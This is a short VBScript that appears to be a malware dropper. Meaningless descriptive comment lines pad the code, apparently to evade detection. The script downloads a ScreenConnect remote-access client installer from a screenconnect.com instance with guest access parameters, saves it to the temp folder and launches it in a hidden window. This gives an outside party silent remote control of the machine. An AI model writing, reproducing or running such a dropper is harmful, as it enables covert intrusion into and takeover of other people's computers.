Dim url, tempPath, http, stream
' The rustle of a candy wrapper in a pocket
' The smell of a freshly lit match
' The drip of icicles melting in the sun
' The sound of a zipper closing a tent
' A single yellow balloon floating away

url = "https://montevideo12.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c="

Set WshShell = CreateObject("WScript.Shell")
tempPath = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\ScreenConnect.ClientSetup.msi"

Set http = CreateObject("MSXML2.ServerXMLHTTP")
http.Open "GET", url, False
http.Send

If http.Status = 200 Then
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write http.responseBody
    stream.SaveToFile tempPath, 2
    stream.Close
    
    WshShell.Run Chr(34) & tempPath & Chr(34), 0
End If